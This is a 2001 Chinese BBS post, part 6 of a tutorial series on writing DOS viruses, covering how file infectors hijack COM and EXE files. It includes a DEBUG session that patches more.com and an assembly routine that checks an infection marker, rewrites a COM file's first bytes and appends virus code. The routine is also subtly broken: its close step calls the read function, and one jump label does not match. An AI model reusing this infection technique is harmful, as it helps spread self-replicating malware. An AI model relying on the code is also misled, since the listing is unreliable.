荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: fast (平淡), 信区: Virus
标  题: 如何编制DOS下的病毒(6)
发信站: 荔园晨风BBS站 (Thu Sep  6 19:59:51 2001), 转信

如何编制DOS下的病毒(6)
文章类型:病毒与杀毒 文章加入时间:2001年9月4日17:33
----------------------------------------------------------------------------
----
四、文件型病毒
  文件型病毒是DOS病毒中的大家族,文件病毒有广义和狭义之称。广义的可执行文件病
毒包括了通常所说的可执行文件病毒,源码病毒,甚至BAT病毒和WORD宏病毒,狭义的可
执行文件病毒――即COM型和EXE型病毒。此处介绍COM和EXE型病毒。
  文件型病毒要感染COM文件有两种方法,一种是将病毒加在COM前部,一种是加在文件
尾部。在前部时原文件的前3字节被修改。当DOS加载EXE文件时,根据文件头信息,调入
一定长度的文件,设置SS,SP 从CS:IP 开始执行。病毒一般将自己加在文件的末端,并修
改CS,IP的值指向病毒起始地址,并修改文件长度信息和SS,SP。
  COM文件是一种单段执行结构,起源于CPM-86操作系统,其执行文件代码和执行时内存
影象完全相同,其始执行偏移地址为100H,对应于文件的偏移0。用DEBUG程序,拿DOS6
.22西文版中的more.com来做实验。
C:\>debug more.com
-u
0CA4:0100 B8371E    MOV   AX,1E37 ;注意前三个字节的内容(病毒修改的地
方)
0CA4:0103 BA3008    MOV   DX,0830
0CA4:0106 3BC4     CMP   AX,SP
0CA4:0108 7369     JNB   0173
0CA4:010A 8BC4     MOV   AX,SP
0CA4:010C 2D4403    SUB   AX,0344
0CA4:010F 90      NOP
0CA4:0110 25F0FF    AND   AX,FFF0
0CA4:0113 8BF8     MOV   DI,AX
0CA4:0115 B9A200    MOV   CX,00A2
0CA4:0118 90      NOP
0CA4:0119 BE7E01    MOV   SI,017E
0CA4:011C FC      CLD
0CA4:011D F3      REPZ
0CA4:011E A5      MOVSW
0CA4:011F 8BD8     MOV   BX,AX
-r
AX=0000 BX=0000 CX=09F1 DX=0000 SP=FFFE BP=0000 SI=0000 DI=0000
DS=0CA4 ES=0CA4 SS=0CA4 CS=0CA4 IP=0100  NV UP EI PL NZ NA PO NC
0CA4:0100 B8371E    MOV   AX,1E37
-a af1
0CA4:0AF1 mov ah,0
0CA4:0AF3 int 16                ;等待按键
0CA4:0AF5 cmp al,1b               ;等待ESC键
0CA4:0AF7 jnz af1
0CA4:0AF9 mov word ptr [100],37b8  ;恢复程序开始的三个字节
0CA4:0AFF mov byte ptr [102],1e
0CA4:0B04 push cs                ;进栈CS:100
0CA4:0B05 mov si,100
0CA4:0B08 push si
0CA4:0B09 retf       ;RetF回到CS:100,程序开始处
0CA4:0B0A
-a 100
0CA4:0100 jmp af1  ;将程序开头改成跳转到修改的模块
0CA4:0103
-rcx
CX 09F1
: a0a
-w
Writing 00A0A bytes
-q
修改完了,我们来执行一下more,发现什么没有?如果不按ESC键程序无法执行,流程很
简单:
1、把程序开始处的指令修改成了跳转到最后的添加的程序位置。
2、最先执行添加的程序(相当于病毒模块),等待ESC键
3、按下ESC键后修改回程序开始的指令,跳转回最开始。(执行原始程序)
如果你能看懂以上程序,那你就对COM病毒有了一定的了解。
   EXE文件是一种多段的结构,属于DOS最成功和复杂的设计之一。要了解EXE文件,首
先需要了EXE的文件头结构。(见前面介绍)偏移14和16表示了程序的执行代码入口地址
。DOS对EXE采取重定位的方法,DOS下面可以加载很多TSR或者驱动程序,我们无法知道
一个程序被加载的开始段值,但是我们却可以知道一个EXE程序的执行入口的开始段值比
加载的第一个段值大多少。DOS就是通过这种简单的加减法来对付EXE的多段模式的。现
在我们知道了EXE文件的开始执行代码是从加载初始地址+Code segment:Code pointer。
还有一个我们很感兴趣的东西是偏移为8的Exeheader Size。这对病毒修改EXE文件很有
用,可以用来确定EXE文件的代码开始处(代码开始处之前是Exeheader)。那么我们可
以这样来修改一个EXE文件:把EXE文件的最后先填满16个字节(为了段对齐),把自己
的程序段加到最后,并且保存EXE头中的14h和16h偏移的数值,把EXE头中的14h的数值改
成100H,16的值改成(EXEFILESIZE+15) div 16 -ExeheaderSize -16 (-16的原因是100
H=16*16)。
病毒感染COM文件的方法
   COM文件是纯粹代码映象,加载后在内存中的映象如下:
    CS=DS=ES=SS
    CS:0000->+----------+
             |    PSP   |
   IP(0100)->+----------+
             | COM FILE |
   SP(FFFE)->+----------+
             |  dw 0000 |
             +----------+
    因此COM文件的最大SIZE为 64K-100h bytes - 1 word
    感染COM的典型做法如下:
    cs:0100  jmp endoffile        ;db 0e9h
                                  ;dw size of com file
             ...
    endoffile:
virusstart:
              virus code
              mov  ax,orgcode
              mov [100],ax
              mov al,[orgcode+2]
              mov [102],al
virussize=$-virusstart
resume:
              jmp 100             ;db 0e9h
                                  ;dw -(sizeofcom+virussize)
      orgcode db 3 dup (?)        ;由原文件由0100开始的三个字节
    感染文件,先将开始的三字节保存在orgcode中,然后更改为0E9H,SIZEOFCOMFILE.将
resume开始的三字节改为0E9H,-(sizeofcom+virussize).将病毒写入com文件的末尾.
    完整的感染代码还需要有已感染的判断,和文件大小的判断.如下:
    假设DS:DX指向文件名VirusSize,VirusStart的定义如上.并以下的修改:
    保存开始的四个字节用
    db 90h,0E9h
    dw sizeofcom
    替换,以0E990h为感染标记
    ...
    mov ax,3d01h
    int 21h             ;open for r/w
    jc OpenError
    push dx
    xchg ax,bx
    mov ax,4202h
    xor cx,cx
    xor dx,dx
    int 21h             ;seek to end
    or dx,dx
    jnz complete        ;file larger than 64k,donot infect
    cmp ax,0FEEEh-VirusSize-11
    jnb complete        ;com file too large for infect
    cmp ax,4
    jb  complete        ;file less than 4 bytes,donot infected
    mov di,offset orgcode
    mov [di+6],ax
    add [di+6],VirusSize ;generate code to replace
    mov ax,4200h
    xor cx,cx
    xor dx,dx
    int 21h             ;seek to begin
    mov cx,4
    mov dx,di
    mov ah,3fh
    int 21h             ;read 4 bytes
    jc complete
    cmp word ptr [di],0E990h
                        ;if has been infected,should be
                        ;nop
                        ;jmp XXXX
    jz complete
    mov cx,4
    add dx,cx
    mov ah,40h
    int 21h             ;write 4 byte to the beginning
     mov ax,4202h
     xor cx,cx
     xor dx,dx
     int 21h            ;seek to end
     mov ah,40h
     mov dx,VirusStart
     mov cx,VirusSize+11
     int 21h            ;write Virus Code to COM
complete:
      mov ah,3fh
      int 21h           ;close file
ErrorOpen:
       ...
文章出处:第八军团
文章作者:小魔神

--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店